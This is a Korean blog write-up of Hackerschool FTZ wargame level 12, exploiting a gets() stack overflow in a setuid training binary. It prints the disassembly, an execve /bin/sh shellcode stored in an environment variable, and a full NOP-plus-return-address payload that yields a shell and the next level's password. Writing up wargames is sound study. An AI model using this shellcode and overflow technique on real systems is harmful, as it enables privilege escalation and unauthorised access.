728x90
반응형
728x90
반응형
728x90
반응형


해커스쿨 FTZ [LEVEL12] 풀이


M4ndU




해커스쿨 FTZ [LEVEL12] 풀이입니다.


ID | level12

PW | it is like this


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level12

level12@192.168.31.128's password:

[level12@ftz level12]$ ls -l

total 28

-rwsr-x---    1 level13  level12     13771 Mar  8  2003 attackme

-rw-r-----    1 root     level12       204 Mar  8  2003 hint

drwxr-xr-x    2 root     level12      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level12      4096 Jan 15  2009 tmp

[level12@ftz level12]$ cat hint



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}


이번 문제도 level11과 같아보지만, main 함수의 인자가 아닌, gets 함수를 통해 입력값을 받는다는 것이 다른 것을 확인할 수 있습니다.


먼저 gdb로 분석을 합니다.


[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc15
0x08048481 <main+17>:   push   0xc15
0x08048486 <main+22>:   call   0x804835c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0xc
0x08048491 <main+33>:   push   0x8048538
0x08048496 <main+38>:   call   0x804834c <printf>
0x0804849b <main+43>:   add    esp,0x10
0x0804849e <main+46>:   sub    esp,0xc
0x080484a1 <main+49>:   lea    eax,[ebp-264]
0x080484a7 <main+55>:   push   eax
0x080484a8 <main+56>:   call   0x804831c <gets>
0x080484ad <main+61>:   add    esp,0x10
0x080484b0 <main+64>:   sub    esp,0x8
0x080484b3 <main+67>:   lea    eax,[ebp-264]
0x080484b9 <main+73>:   push   eax
0x080484ba <main+74>:   push   0x804854c
0x080484bf <main+79>:   call   0x804834c <printf>
0x080484c4 <main+84>:   add    esp,0x10
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    esi,[esi]
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
---Type <return> to continue, or q <return> to quit---
End of assembler dump.


*main+59 를 보면 ebp-264부터 입력을 받네요. level11과 스택구조가 동일한 것 같습니다.

낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



이번에 풀때는 깔끔하게 환경변수를 이용해 풀어보겠습니다.


tmp폴더로 이동합니다.

그리고 다음 명령어를 순서대로 입력하여 실행합니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv


[level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level12@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level12@ftz tmp]$ gcc getenv.c -o getenv

[level12@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d


0xbffffc8d를 리턴주소로 잡고 bof를 하면 됩니다.
이때 이 프로그램은 입력을 gets함수를 통해 받으므로 다른 형태로 프로그램을 실행해야 합니다.

(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme

이렇게요.


[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
문장을 입력하세요.
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱랛?

my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

깔끔하죠? 레벨 떡상 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
  1. CedRiC47 2019.01.04 08:38

    EGG를 export 할때 앞에 "\x90"*15 는 왜 하는 건가요?

    • M4ndU 2019.01.05 01:11 신고

      아무것도 하지 않고 다음 명령어로 넘기는 NOP 명령어 (\x90)인데요. 안넣으셔도 됩니다.

      주소를 살짝 틀리게 적어도, 쉘코드의 중간명령어부터 시작되게 하지 않고, NOP에 걸려서 쉘코드의 시작부분으로 유도하기 위함입니다.

+ Recent posts